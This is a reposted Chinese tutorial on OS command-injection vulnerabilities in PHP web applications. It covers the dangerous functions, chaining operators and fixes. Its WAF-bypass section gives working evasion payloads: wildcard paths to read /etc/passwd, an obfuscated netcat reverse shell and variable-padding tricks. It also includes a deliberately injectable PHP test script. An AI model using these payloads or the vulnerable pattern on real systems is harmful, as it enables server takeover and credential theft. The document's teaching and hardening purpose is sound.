命令執行漏洞


命令執行漏洞原理:
應用有時需要調用一些執行系統命令的函數,如PHP中的system、exec、shell_exec、passthru、popen、proc_popen等,當用戶能控制這些函數的參數時,就可以將惡意系統命令拼接到正常命令中,從而造成命令執行攻擊,這就是命令執行漏洞。

命令執行漏洞利用條件:

  1. 應用調用執行系統命令的函數
  2. 將用戶輸入作為系統命令的參數拼接到了命令行中
  3. 沒有對用戶輸入進行過濾或過濾不嚴

漏洞分類:

  • 代碼層過濾不嚴

商業應用的一些核心代碼封裝在二進制文件中,在web應用中通過system函數來調用:system("/bin/program --arg $arg");

  • 系統的漏洞造成命令注入

bash破殼漏洞(CVE-2014-6271)

  • 調用的第三方組件存在代碼執行漏洞

如wordPress中用來處理圖片的imageMagick組件
JAVA中的命令執行漏洞(struts2/ElasticsearchGroovy等)
ThinkPHP命令執行

漏洞危害:

  1. 繼承Web服務程序的權限去執行系統命令或讀寫文件
  2. 反彈shell
  3. 控制整個網站甚至服務器
  4. 進一步內網滲透
  5. 等等

命令拼接符
|、||、&、&&的區別:
&:無論左邊是false還是true,右邊都執行
&&:具有短路效果,左邊是false,右邊不執行。
|:無論左邊是false還是true,右邊都會執行
||:具有短路效果,左邊是true,右邊不執行。


代碼執行:
利用系統函數實現命令執行,在php下,允許命令執行的函數有:
eval()、assert()、preg_replace()、call_user_func()
如果頁面中存在這些函數並且對於用戶的輸入沒有做嚴格的過濾,那么就可能造成遠程命令執行漏洞

其他函數
ob_start()、unserialize()、creat_function()
、usort()、uasort()、uksort()、
array_filter()、
array_reduce()、
array_map()......

 

系統命令執行漏洞
system()
exec()
shell_exec()
passthru()
pcntl_exec()
popen()
proc_open()
反引號
......

命令執行WAF繞過技巧
技巧一:通配符
ls-l
使用通配符
/?in/?s-l

/???/??t /??c/p???w?
有時候WAF不允許使用太多的?號
/?in/cat/?tc/p?sswd

NC反彈shell:
nc -e /bin/bash 127.0.0.1 3737
為了避免符號,可以將IP地址轉換成整型。
127.0.0.1->2130706433

使用通配符
root@kali:~#/??n/?c -e/??n/b??h 2130706433 3737

技巧二:連接符

技巧三:未初始化的bash變量
在bash環境中允許我們使用未初始化的bash變量,如何
$a ,$b,$c
我們事先並沒有定義它們,輸出看看:
root@kali:~# echo $a
root@kali:~# echo $b
root@kali:~# echo $c
root@kali:~#
未初始化的變量值都是null

讀取/etc/passwd:
cat$a /etc$a/passwd$a


測試WAF
測試代碼:
<?php
echo "OK";
system('dig'.$_GET['host']);
?>

www.baidu.com;$s/bin$s/which$s nc$s
反彈shell:
/bin$s/nc$s -e/bin$s/bash$s 2130706433 3737

 

漏洞修復:

  1. 盡量少用執行命令的函數或者直接禁用
  2. 參數值盡量使用引號包括
  3. 在使用動態函數之前,確保使用的函數是指定的函數之一
  4. 在進入執行命令的函數/方法之前,對參數進行過濾,對敏感字符進行轉義
  5. 對PHP語言來說,不能完全控制的危險函數最好不要使用


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM